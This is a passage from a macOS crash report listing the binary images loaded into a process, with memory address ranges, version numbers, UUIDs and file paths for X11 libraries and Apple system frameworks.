0x10cc17000 - 0x10cc22ff7 +libXext.6.dylib (11) <0E727D24-F959-3264-BCB8-A3C701D7D121> /opt/X11/*/libXext.6.dylib
0x10cc2a000 - 0x10cc78ff7 libstdc++.6.dylib (104.1) <76E2AFB1-07E5-3F19-B692-F6E21B7E470D> /usr/lib/libstdc++.6.dylib
0x10cce1000 - 0x10ccecfff +libXi.6.dylib (8) <F9BE9CE2-B33F-38C0-A846-EB988B8D4D39> /opt/X11/*/libXi.6.dylib
0x10ccf3000 - 0x10ccf9fff +libXrandr.2.dylib (5) <0C9F1E14-5BE6-368A-9477-4B3FD80C8B9B> /opt/X11/*/libXrandr.2.dylib
0x10ccff000 - 0x10cd05fff +libXrender.1.dylib (5) <7E3A7385-F583-3415-A9DC-95E84AA4F26A> /opt/X11/*/libXrender.1.dylib
0x10cd0b000 - 0x10cd0dfff +libXxf86vm.1.dylib (2) <F0E58614-9731-35BC-9621-A9988146A233> /opt/X11/*/libXxf86vm.1.dylib
0x7fff66915000 - 0x7fff6694c25f dyld (360.22) <A468D85E-D8D6-3461-8C99-49D3B9ACFC63> /usr/lib/dyld
0x7fff8a006000 - 0x7fff8a007ffb libSystem.B.dylib (1226.10.1) <C5D09FE1-CC70-383E-AC27-18602F2EDEC4> /usr/lib/libSystem.B.dylib
0x7fff8a091000 - 0x7fff8a386fff com.apple.HIToolbox (2.1.1 - 807.2) <36413C45-36AF-34EF-9C0E-F18B31D1E565> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox
0x7fff8a543000 - 0x7fff8a592ff7 com.apple.opencl (2.7.0 - 2.7.0) <C3AFF6D2-90FE-3108-A2D5-A1EBCFC5D627> /System/Library/Frameworks/OpenCL.framework/Versions/A/OpenCL
0x7fff8a593000 - 0x7fff8a594fff libDiagnosticMessagesClient.dylib (100) <4243B6B4-21E9-355B-9C5A-95A216233B96> /usr/lib/libDiagnosticMessagesClient.dylib
0x7fff8aaec000 - 0x7fff8aaeeff7 com.apple.securityhi (9.0 - 55006) <1E7BE52B-97EA-371A-AECA-1EE2AD246D8A> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/SecurityHI.framework/Versions/A/SecurityHI
0x7fff8aaef000 - 0x7fff8ab1effb libsystem_m.dylib (3105) <08E1A4B2-6448-3DFE-A58C-ACC7335BE7E4> /usr/lib/system/libsystem_m.dylib
0x7fff8aec8000 - 0x7fff8af14fff com.apple.print.framework.PrintCore (11.2 - 472.2) <5AE8AA6B-CE09-397D-B0D4-0F9CCBF1F77D> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/PrintCore.framework/Versions/A/PrintCore
0x7fff8af24000 - 0x7fff8af35ff7 libsystem_trace.dylib (201.10.3) <F00E92E4-DBDA-3749-B5B3-0C3FBBABA1CB> /usr/lib/system/libsystem_trace.dylib
0x7fff8af36000 - 0x7fff8af65ff7 com.apple.DictionaryServices (1.2 - 250.3) <30250542-CBAA-39C1-91AA-B57A5DE17594> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/DictionaryServices
0x7fff8af6c000 - 0x7fff8af6cfff com.apple.ApplicationServices (48 - 48) <ADD57D3A-142F-3EF5-BFD8-EACD82164884> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices
0x7fff8b053000 - 0x7fff8b213ffb libBLAS.dylib (1162.2) <B4C21826-5EB3-3C6D-B75D-CA4886E2B6A6> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
0x7fff8b214000 - 0x7fff8b214ff7 libunc.dylib (29) <DDB1E947-C775-33B8-B461-63E5EB698F0E> /usr/lib/system/libunc.dylib
0x7fff8b215000 - 0x7fff8b22fff3 liblzma.5.dylib (10) <CC03591B-FA57-3CA5-AC81-0D76033AC0CE> /usr/lib/liblzma.5.dylib
0x7fff8b230000 - 0x7fff8b24cff3 libresolv.9.dylib (60) <A650B5C8-1950-36A0-86D1-0B2465318BFA> /usr/lib/libresolv.9.dylib
0x7fff8b24d000 - 0x7fff8b70bfcf com.apple.vImage (8.0 - 8.0) <85FB412E-EB30-3433-A79B-B3970FC83580> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vImage.framework/Versions/A/vImage
0x7fff8b746000 - 0x7fff8b7baff3 com.apple.securityfoundation (6.0 - 55126) <130656AE-2711-3914-8736-D8B021C93FE0> /System/Library/Frameworks/SecurityFoundation.framework/Versions/A/SecurityFoundation
0x7fff8b7bb000 - 0x7fff8b7bcfff liblangid.dylib (122) <9CC4F0D1-5C51-3B69-BC8F-EE3A51FD0822> /usr/lib/liblangid.dylib
0x7fff8b94e000 - 0x7fff8ba40ff7 libiconv.2.dylib (44) <F05A0A5A-92A9-3668-8F20-F27CBDA26BE9> /usr/lib/libiconv.2.dylib
0x7fff8ba8f000 - 0x7fff8bae4fff com.apple.AE (701 - 701) <AD492742-F884-386B-A450-FAC281B9FFA4> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/AE.framework/Versions/A/AE
0x7fff8bf8f000 - 0x7fff8bf8ffff libenergytrace.dylib (10.40.1) <0A491CA7-3451-3FD5-999A-58AB4362682B> /usr/lib/libenergytrace.dylib
0x7fff8bf90000 - 0x7fff8bfb5ff7 libPng.dylib (1450) <EB65B96A-B190-36A8-9F9D-F3A3020B267D> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libPng.dylib
0x7fff8c155000 - 0x7fff8c15bff7 com.apple.speech.recognition.framework (5.1.1 - 5.1.1) <9E5A980A-F455-32D5-BBEE-3BD6018CC45E> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/SpeechRecognition.framework/Versions/A/SpeechRecognition
0x7fff8c28e000 - 0x7fff8c2b9ffb libarchive.2.dylib (33.20.2) <6C370A21-63FD-3A68-B4B3-5333F24B770B> /usr/lib/libarchive.2.dylib
0x7fff8c2ba000 - 0x7fff8c2bdffb libdyld.dylib (360.22) <CC088C2A-D407-33E7-A6B6-B06E0D4AD999> /usr/lib/system/libdyld.dylib
0x7fff8cbb2000 - 0x7fff8cbb6fff libpam.2.dylib (20) <CFCD19BD-87BC-3F2B-BB1C-4C23E8E55F1A> /usr/lib/libpam.2.dylib
0x7fff8cc0b000 - 0x7fff8cc51ff7 libauto.dylib (186) <999E610F-41FC-32A3-ADCA-5EC049B65DFB> /usr/lib/libauto.dylib
0x7fff8ce26000 - 0x7fff8ce6bff3 libFontRegistry.dylib (155.2) <A70DD497-35F3-34DA-9C19-F4B90080E961> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontRegistry.dylib
0x7fff8ce96000 - 0x7fff8cea2fff com.apple.speech.synthesis.framework (5.4.12 - 5.4.12) <71DA00B8-5EA2-326B-8814-59DB25512F65> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/SpeechSynthesis.framework/Versions/A/SpeechSynthesis
0x7fff8cea5000 - 0x7fff8cebefff com.apple.openscripting (1.7.1 - 169.1) <36EBF6A7-334A-3197-838F-E8C7B27FCDBB> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/OpenScripting.framework/Versions/A/OpenScripting
0x7fff8cfa6000 - 0x7fff8d1b1fff libFosl_dynamic.dylib (16.24) <5F9DB82D-FD4B-3952-8531-CE020F93ED49> /usr/lib/libFosl_dynamic.dylib
0x7fff8d1b2000 - 0x7fff8d226ff7 com.apple.Heimdal (4.0 - 2.0) <5D365381-8B5E-3259-8867-FC4A7D307BDE> /System/Library/PrivateFrameworks/Heimdal.framework/Versions/A/Heimdal
0x7fff8d254000 - 0x7fff8d259ff3 libunwind.dylib (35.3) <F6EB48E5-4D12-359A-AB54-C937FBBE9043> /usr/lib/system/libunwind.dylib
0x7fff8d25a000 - 0x7fff8d265fff libGL.dylib (12.1) <70D51643-04AC-3400-8F11-A6FC25985289> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGL.dylib
0x7fff8d266000 - 0x7fff8d266fff com.apple.Accelerate.vecLib (3.10 - vecLib 3.10) <848125D3-AF14-3526-8745-FFCDB200CD76> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/vecLib
0x7fff8d27f000 - 0x7fff8d519ff3 com.apple.security (7.0 - 57337.50.23) <8B6CF71D-A63E-34C9-9227-0AACAB643584> /System/Library/Frameworks/Security.framework/Versions/A/Security
0x7fff8d51a000 - 0x7fff8d51dfff com.apple.IOSurface (108.2.1 - 108.2.1) <A0037B0A-277A-393E-9BF6-688595BD564D> /System/Library/Frameworks/IOSurface.framework/Versions/A/IOSurface
0x7fff8d531000 - 0x7fff8d573ff7 com.apple.Metal (56.6 - 56.6) <2B2C0F78-20B8-3878-B9B1-DE18BB92919D> /System/Library/Frameworks/Metal.framework/Versions/A/Metal
0x7fff8d5b0000 - 0x7fff8d669ff7 libvMisc.dylib (563.5) <BF612F7D-FA3B-3F9F-8BE7-8D1BCB21ECC5> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvMisc.dylib
0x7fff8d66a000 - 0x7fff8d678ff7 libbz2.1.0.dylib (38) <28E54258-C0FE-38D4-AB76-1734CACCB344> /usr/lib/libbz2.1.0.dylib
0x7fff8d75f000 - 0x7fff8d763fff com.apple.CommonPanels (1.2.6 - 96) <4AE7E5AE-55B3-37FA-9BDE-B23147ADA2E9> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/CommonPanels.framework/Versions/A/CommonPanels
0x7fff8d81f000 - 0x7fff8d81ffff libOpenScriptingUtil.dylib (169.1) <AD0DAC8A-9849-3077-999F-9AEC6112BDAB> /usr/lib/libOpenScriptingUtil.dylib
0x7fff8d839000 - 0x7fff8d88afff com.apple.audio.CoreAudio (4.3.0 - 4.3.0) <EA7D4F3B-062B-3C81-A98C-C89264D00D48> /System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio
0x7fff8d90b000 - 0x7fff8d982feb libcorecrypto.dylib (335.50.1) <B5C05FD7-A540-345A-87BF-8E41848A3C17> /usr/lib/system/libcorecrypto.dylib
0x7fff8da6a000 - 0x7fff8db11fff com.apple.LanguageModeling (1.0 - 1) <58C18A47-BDE7-3CBE-81C0-797029D170A1> /System/Library/PrivateFrameworks/LanguageModeling.framework/Versions/A/LanguageModeling
0x7fff8dcc4000 - 0x7fff8dcd0fff com.apple.SpeechRecognitionCore (2.2.7 - 2.2.7) <6BA06290-D4A3-351C-87F9-B61EF61FF055> /System/Library/PrivateFrameworks/SpeechRecognitionCore.framework/Versions/A/SpeechRecognitionCore
0x7fff8ddfd000 - 0x7fff8de04ff7 libcompiler_rt.dylib (62) <A13ECF69-F59F-38AE-8609-7B731450FBCD> /usr/lib/system/libcompiler_rt.dylib
0x7fff8e1e1000 - 0x7fff8e657fff com.apple.CoreFoundation (6.9 - 1258.1) <943A1383-DA6A-3DC0-ABCD-D9AEB3D0D34D> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
0x7fff8e835000 - 0x7fff8e924fff libxml2.2.dylib (29.7) <32BBF51E-B084-3FC2-AE9C-C008BE84102B> /usr/lib/libxml2.2.dylib
0x7fff8ea1e000 - 0x7fff8ea20ff7 libRadiance.dylib (1450) <0C0DACDA-2040-3D22-A8E7-7035AB624E4A> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libRadiance.dylib
0x7fff8ea3e000 - 0x7fff8eadefff com.apple.Metadata (10.7.0 - 972.34) <A93B485D-094C-3024-8CBB-D9E035FB83C4> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Metadata
0x7fff8eb1b000 - 0x7fff8eb2bfff libbsm.0.dylib (34) <7E14504C-A8B0-3574-B6EB-5D5FABC72926> /usr/lib/libbsm.0.dylib
0x7fff8eb2f000 - 0x7fff8eb2ffff com.apple.audio.units.AudioUnit (1.13 - 1.13) <93C1D642-37D4-3692-AD35-DCAD04F9610B> /System/Library/Frameworks/AudioUnit.framework/Versions/A/AudioUnit
0x7fff8eda0000 - 0x7fff8edecffb com.apple.HIServices (1.22 - 550) <6B76B41C-CF5A-34C4-89F4-EFD7CA3D1C9D> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/HIServices.framework/Versions/A/HIServices
0x7fff8ef32000 - 0x7fff8ef63ff7 libncurses.5.4.dylib (46) <D4C10699-3E8F-3F42-A695-7490EA4B6B32> /usr/lib/libncurses.5.4.dylib
0x7fff8ef64000 - 0x7fff8ef65fff libsystem_blocks.dylib (65) <1244D9D5-F6AA-35BB-B307-86851C24B8E5> /usr/lib/system/libsystem_blocks.dylib
0x7fff8f2b7000 - 0x7fff8f53eff3 com.apple.CFNetwork (760.5.1 - 760.5.1) <EE9426D1-F11C-3DD4-AE08-EA29AEB27177> /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork
0x7fff8f5fe000 - 0x7fff8f600ff7 libsystem_configuration.dylib (802.40.13) <3DEB7DF9-6804-37E1-BC83-0166882FF0FF> /usr/lib/system/libsystem_configuration.dylib
0x7fff8f63b000 - 0x7fff8f679ff7 libGLImage.dylib (12.1) <BB1F1A93-5101-3906-AB17-8D83FCB200F9> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLImage.dylib
0x7fff8f6e7000 - 0x7fff8f72cff7 com.apple.coreservices.SharedFileList (24.4 - 24.5) <1D2AD77B-778F-3253-A295-3D0A32A8121C> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SharedFileList.framework/Versions/A/SharedFileList
0x7fff8f72d000 - 0x7fff8f94eff7 com.apple.CoreImage (11.4.0 - 366.4.19) <F5B7B115-E43A-3C61-A6AD-EFCDE7FC43A1> /System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage
0x7fff8f94f000 - 0x7fff8f966fff libmarisa.dylib (4) <E4919B03-D9BD-3AF8-B436-C415C98E3F0A> /usr/lib/libmarisa.dylib
0x7fff8f967000 - 0x7fff8f982ff7 libCRFSuite.dylib (34) <078B4CD8-6A8C-3067-B2BA-0C2A0BAB8AC3> /usr/lib/libCRFSuite.dylib
0x7fff8fc89000 - 0x7fff8fc8bff7 libquarantine.dylib (80) <0F4169F0-0C84-3A25-B3AE-E47B3586D908> /usr/lib/system/libquarantine.dylib
0x7fff8fe8e000 - 0x7fff8ff8aff7 libFontParser.dylib (158.6) <267A9AE4-4138-3112-8D73-BDFDC96568FF> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontParser.dylib
0x7fff8ff8b000 - 0x7fff9009dfef libvDSP.dylib (563.5) <5702650E-DF08-3D58-B16F-9EF0A28702B3> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvDSP.dylib
0x7fff900de000 - 0x7fff900e9ff7 libChineseTokenizer.dylib (16) <79B8C67A-3061-3C78-92CD-4650719E68D4> /usr/lib/libChineseTokenizer.dylib
0x7fff906e9000 - 0x7fff906f4fff libkxld.dylib (3248.50.21) <99195052-038E-3490-ACF8-76F9AC43897E> /usr/lib/system/libkxld.dylib
0x7fff906f5000 - 0x7fff90714ff7 com.apple.framework.Apple80211 (11.0 - 1121.34.2) <90477FAE-B835-3931-80FB-FDFF02B21D9D> /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Apple80211
0x7fff9071c000 - 0x7fff9071fff7 com.apple.help (1.3.3 - 46) <35DA4D48-0BC2-35A1-8D7C-40905CDF4F64> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/Help.framework/Versions/A/Help
0x7fff90720000 - 0x7fff90a8b657 libobjc.A.dylib (680) <D55D5807-1FBE-32A5-9105-44D7AFE68C27> /usr/lib/libobjc.A.dylib
0x7fff90a8c000 - 0x7fff90a8efff libCVMSPluginSupport.dylib (12.1) <D81B3D8D-B83F-3918-BD4B-6C794A30AF9F> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCVMSPluginSupport.dylib
0x7fff90a8f000 - 0x7fff90a9afff com.apple.CrashReporterSupport (10.11 - 718) <05892B57-F2CD-3C84-B984-0417F6B361DB> /System/Library/PrivateFrameworks/CrashReporterSupport.framework/Versions/A/CrashReporterSupport
0x7fff90aad000 - 0x7fff90aaeff3 com.apple.print.framework.Print (10.0 - 266) <3E85F70C-D7D4-34E1-B88A-C1F503F99CDA> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/Print.framework/Versions/A/Print
0x7fff90b11000 - 0x7fff90b3aff7 libxslt.1.dylib (14.2) <6E8D0F06-9086-32D3-9D87-3870A1CE9E99> /usr/lib/libxslt.1.dylib
0x7fff90cc8000 - 0x7fff90cd2fff com.apple.NetAuth (6.0 - 6.0) <D692B1EF-534F-3892-8E2F-2BBA7C8AFD74> /System/Library/PrivateFrameworks/NetAuth.framework/Versions/A/NetAuth
0x7fff9257b000 - 0x7fff92583fff libcopyfile.dylib (127) <A48637BC-F3F2-34F2-BB68-4C65FD012832> /usr/lib/system/libcopyfile.dylib
0x7fff926ca000 - 0x7fff926e4fff com.apple.Kerberos (3.0 - 1) <1B4744BF-E5AE-38E2-AA56-E22D3270F2E8> /System/Library/Frameworks/Kerberos.framework/Versions/A/Kerberos
0x7fff9296d000 - 0x7fff9297cffb com.apple.LangAnalysis (1.7.0 - 1.7.0) <18D21123-A3E7-3851-974A-08E5D4540475> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/LangAnalysis.framework/Versions/A/LangAnalysis
0x7fff929d6000 - 0x7fff92be3fff libicucore.A.dylib (551.51.3) <5BC80F94-C90D-3175-BD96-FF1DC222EC9C> /usr/lib/libicucore.A.dylib
0x7fff92cd1000 - 0x7fff92cedff7 libextension.dylib (78) <FD952DA6-BBEC-3CB6-98B3-E1D111C5C54E> /usr/lib/libextension.dylib
0x7fff92f7a000 - 0x7fff92fa3fff libc++abi.dylib (125) <DCCC8177-3D09-35BC-9784-2A04FEC4C71B> /usr/lib/libc++abi.dylib
0x7fff92fa8000 - 0x7fff930f2ff7 com.apple.coreui (2.1 - 366.1) <8138636F-A0A7-31C7-896C-5F5747FA1B2A> /System/Library/PrivateFrameworks/CoreUI.framework/Versions/A/CoreUI
0x7fff93340000 - 0x7fff93371fff com.apple.GSS (4.0 - 2.0) <B490333A-3B3E-397A-AD75-68846E9A9140> /System/Library/Frameworks/GSS.framework/Versions/A/GSS
0x7fff933a7000 - 0x7fff93575ff3 com.apple.QuartzCore (1.11 - 410.14) <076BDE58-8AED-3D47-84FD-548CF8E8EDB9> /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore
0x7fff93576000 - 0x7fff93576fff libmetal_timestamp.dylib (600.0.44.1) <6576F284-BACA-332A-A6E7-FA1C347636E3> /System/Library/PrivateFrameworks/GPUCompiler.framework/libmetal_timestamp.dylib
0x7fff936c2000 - 0x7fff936e4fff com.apple.IconServices (68.1 - 68.1) <CDEEDBE6-F53B-3BA1-82D4-23BCA3DD8949> /System/Library/PrivateFrameworks/IconServices.framework/Versions/A/IconServices
0x7fff936e5000 - 0x7fff936fcff7 libsystem_asl.dylib (323.50.1) <41F8E11F-1BD0-3F1D-BA3A-AA1577ED98A9> /usr/lib/system/libsystem_asl.dylib
0x7fff936fd000 - 0x7fff93705fff libGFXShared.dylib (12.1) <5A0C2493-200C-30BE-97D5-8E8C0B8E604D> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGFXShared.dylib
0x7fff93cf1000 - 0x7fff93de3ff7 libJP2.dylib (1450) <8337298A-7911-3B56-85C7-BBA2D8D844EE> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJP2.dylib
0x7fff9407d000 - 0x7fff940aafff libdispatch.dylib (501.40.12) <C7499857-61A5-3D7D-A5EA-65DCC8C3DF92> /usr/lib/system/libdispatch.dylib
0x7fff94241000 - 0x7fff9424ffff com.apple.opengl (12.1.0 - 12.1.0) <BBC4458E-12FC-3C9B-BF7E-6985D61C7A67> /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL
0x7fff942e9000 - 0x7fff9440efff com.apple.LaunchServices (728.12 - 728.12) <F5AB56CD-CF33-33F0-A48D-372551714E77> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/LaunchServices
0x7fff94410000 - 0x7fff94477fff com.apple.framework.CoreWiFi (11.0 - 1101.20) <993592F1-B3F1-3FAD-87BD-EA83C361BCCF> /System/Library/PrivateFrameworks/CoreWiFi.framework/Versions/A/CoreWiFi
0x7fff95111000 - 0x7fff952b7ff7 com.apple.audio.toolbox.AudioToolbox (1.13 - 1.13) <082319FC-59F2-3D36-AC9B-94759724E302> /System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox
0x7fff952b8000 - 0x7fff952c8fff libSparseBLAS.dylib (1162.2) <6F591A0F-80D0-384D-8304-B035C4ED1BBD> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparseBLAS.dylib
0x7fff95359000 - 0x7fff95365ff7 com.apple.OpenDirectory (10.11 - 194) <31A67AD5-5CC2-350A-96D7-821DF4BC4196> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory
0x7fff95366000 - 0x7fff9536efef libsystem_platform.dylib (74.40.2) <29A905EF-6777-3C33-82B0-6C3A88C4BA15> /usr/lib/system/libsystem_platform.dylib
0x7fff954cc000 - 0x7fff954f0fff com.apple.MultitouchSupport.framework (304.12 - 304.12) <65CB7653-EACD-3ADB-ABB6-2E0671708301> /System/Library/PrivateFrameworks/MultitouchSupport.framework/Versions/A/MultitouchSupport
0x7fff954f1000 - 0x7fff954f9fff com.apple.NetFS (6.0 - 4.0) <842A5346-24C3-3F22-9ECF-E586A10EA1F2> /System/Library/Frameworks/NetFS.framework/Versions/A/NetFS
0x7fff954fa000 - 0x7fff95617fff libsqlite3.dylib (216.4) <DC3D59E7-91A3-374F-957C-6699729CD82B> /usr/lib/libsqlite3.dylib
0x7fff95b82000 - 0x7fff95c18fff com.apple.ColorSync (4.9.0 - 4.9.0) <8FC37E20-6579-3CB2-9D49-BC39FC38DF87> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ColorSync.framework/Versions/A/ColorSync
0x7fff95c3e000 - 0x7fff95f23ffb com.apple.CoreServices.CarbonCore (1136.2 - 1136.2) <2DBAFC9A-6CD6-351D-B1F4-87D81AA6D640> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/CarbonCore.framework/Versions/A/CarbonCore
0x7fff961a2000 - 0x7fff961a7ff7 libmacho.dylib (875.1) <318264FA-58F1-39D8-8285-1F6254EE410E> /usr/lib/system/libmacho.dylib
0x7fff962e5000 - 0x7fff962e8fff libCoreVMClient.dylib (119.5) <560D70FB-709F-3030-96C9-F249FCB7DA6D> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreVMClient.dylib
0x7fff965e3000 - 0x7fff9784bff7 com.apple.CoreGraphics (1.600.0 - 957) <0AD5EC17-569E-3864-A637-AD720F5AE0BE> /System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics
0x7fff97875000 - 0x7fff97891ff7 libsystem_malloc.dylib (67.40.1) <5748E8B2-F81C-34C6-8B13-456213127678> /usr/lib/system/libsystem_malloc.dylib
0x7fff978c7000 - 0x7fff978c7ff7 liblaunch.dylib (765.50.8) <834ED605-5114-3641-AA4D-ECF31B801C50> /usr/lib/system/liblaunch.dylib
0x7fff978c8000 - 0x7fff978d1ff7 libsystem_pthread.dylib (138.10.4) <3DD1EF4C-1D1B-3ABF-8CC6-B3B1CEEE9559> /usr/lib/system/libsystem_pthread.dylib
0x7fff97aee000 - 0x7fff97d84fff libmecabra.dylib (696.5) <EF6C0BD4-5FE8-34FB-8ADF-69A53CEC97A9> /usr/lib/libmecabra.dylib
0x7fff97eb4000 - 0x7fff97f12fff com.apple.CoreServices.OSServices (728.12 - 728.12) <776EBD4F-7052-377F-A70D-E2FDBD465A5E> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/OSServices
0x7fff97f91000 - 0x7fff97fbaff7 libxpc.dylib (765.50.8) <54D1328E-054E-3DAA-89E2-375722F9D18F> /usr/lib/system/libxpc.dylib
0x7fff982f1000 - 0x7fff982f5fff libcache.dylib (75) <9548AAE9-2AB7-3525-9ECE-A2A7C4688447> /usr/lib/system/libcache.dylib
0x7fff984e6000 - 0x7fff98573dd7 com.apple.AppleJPEG (1.0 - 1) <558ACADA-C41F-3EEF-82A0-C2D7B13C5428> /System/Library/PrivateFrameworks/AppleJPEG.framework/Versions/A/AppleJPEG
0x7fff9858c000 - 0x7fff985e7ff7 libTIFF.dylib (1450) <5BB63D48-B807-31FB-B13F-05C60584707E> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libTIFF.dylib
0x7fff990cd000 - 0x7fff99138ff7 com.apple.framework.CoreWLAN (11.0 - 1101.20) <3B35C543-7FCE-333F-80C1-432FA41DDCDE> /System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN
0x7fff99139000 - 0x7fff99142ff3 libsystem_notify.dylib (150.40.1) <D48BDE34-0F7E-34CA-A0FF-C578E39987CC> /usr/lib/system/libsystem_notify.dylib
0x7fff99143000 - 0x7fff9914cff7 com.apple.CommonAuth (4.0 - 2.0) <4B8673E1-3697-3FE2-8D30-AC7AC5D4F8BF> /System/Library/PrivateFrameworks/CommonAuth.framework/Versions/A/CommonAuth
0x7fff9916c000 - 0x7fff9916cfff com.apple.Accelerate (1.10 - Accelerate 1.10) <5831771A-C1C3-3625-9FE9-2CCB6B2E7EE1> /System/Library/Frameworks/Accelerate.framework/Versions/A/Accelerate
0x7fff996ef000 - 0x7fff99a43fff com.apple.Foundation (6.9 - 1259) <71A9D3A0-0B1F-3E3A-86F3-1486365A6EF2> /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
0x7fff99a44000 - 0x7fff99a4cfff libsystem_networkextension.dylib (385.40.36) <66095DC7-6539-38F2-95EE-458F15F6D014> /usr/lib/system/libsystem_networkextension.dylib
0x7fff99a4d000 - 0x7fff99a6aff7 com.apple.AppleVPAFramework (2.1.2 - 2.1.2) <41378C0B-B56A-3A73-9BD0-E06FA1F87B8C> /System/Library/PrivateFrameworks/AppleVPA.framework/Versions/A/AppleVPA
0x7fff99a6b000 - 0x7fff99a81ff7 libLinearAlgebra.dylib (1162.2) <FFE54EDF-F06F-3C0A-864A-4CA7BBFD4B2D> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLinearAlgebra.dylib
0x7fff99a82000 - 0x7fff99a82fff com.apple.Carbon (154 - 157) <8F6ED602-5943-3E29-A793-BC331E2C183D> /System/Library/Frameworks/Carbon.framework/Versions/A/Carbon
0x7fff99afb000 - 0x7fff99b03ffb libsystem_dnssd.dylib (625.50.5) <4D10E12B-59B5-386F-82DA-326F18028F0A> /usr/lib/system/libsystem_dnssd.dylib
0x7fff99b04000 - 0x7fff99b22ff7 libsystem_kernel.dylib (3248.50.21) <78E54D59-D2B0-3F54-9A4A-0A68D671F253> /usr/lib/system/libsystem_kernel.dylib
0x7fff9aa2c000 - 0x7fff9aac1fff com.apple.ink.framework (10.9 - 214) <1F76CF36-3F79-36B8-BC37-C540AF34B338> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/Ink.framework/Versions/A/Ink
0x7fff9ab05000 - 0x7fff9ab6bff7 libsystem_network.dylib (583.50.1) <B52DAB73-92DC-3DA7-B9F4-B899D66445C1> /usr/lib/system/libsystem_network.dylib
0x7fff9abd4000 - 0x7fff9abd9ff7 libheimdal-asn1.dylib (453.40.10) <981DE40B-FA16-36F7-BE92-8C8A115D6CD9> /usr/lib/libheimdal-asn1.dylib
0x7fff9abda000 - 0x7fff9ac2bff7 libcups.2.dylib (435.2) <91584A40-214D-33E8-A613-CE22289037C8> /usr/lib/libcups.2.dylib
0x7fff9ac3d000 - 0x7fff9ad6aff3 com.apple.CoreText (352.0 - 494.11) <08E8640E-6602-3A00-BC28-94235FD311B4> /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText
0x7fff9ad6b000 - 0x7fff9adf8fff libsystem_c.dylib (1082.50.1) <B552D565-B798-3B9B-AE63-F623B42A5F01> /usr/lib/system/libsystem_c.dylib
0x7fff9ae66000 - 0x7fff9ae77ff7 libz.1.dylib (61.20.1) <B3EBB42F-48E3-3287-9F0D-308E04D407AC> /usr/lib/libz.1.dylib
0x7fff9aeed000 - 0x7fff9aef8ff7 libcommonCrypto.dylib (60075.50.1) <93732261-34B4-3914-B7A2-90A81A182DBA> /usr/lib/system/libcommonCrypto.dylib
0x7fff9b85a000 - 0x7fff9b85ffff com.apple.TCC (1.0 - 1) <F5EEB2D3-9517-3975-97BE-22CB8E11B8A3> /System/Library/PrivateFrameworks/TCC.framework/Versions/A/TCC
0x7fff9b860000 - 0x7fff9b862ff7 com.apple.xpc.ServiceManagement (1.0 - 1) <D96D7A6D-EDEB-35EE-B5D9-E33A3BF011B5> /System/Library/Frameworks/ServiceManagement.framework/Versions/A/ServiceManagement
0x7fff9b863000 - 0x7fff9b874fff libcmph.dylib (6) <BA4BF2C6-7F4E-33B8-9DD7-619C9EB83ECF> /usr/lib/libcmph.dylib
0x7fff9b8cd000 - 0x7fff9b8ceffb libremovefile.dylib (41) <552EF39E-14D7-363E-9059-4565AC2F894E> /usr/lib/system/libremovefile.dylib
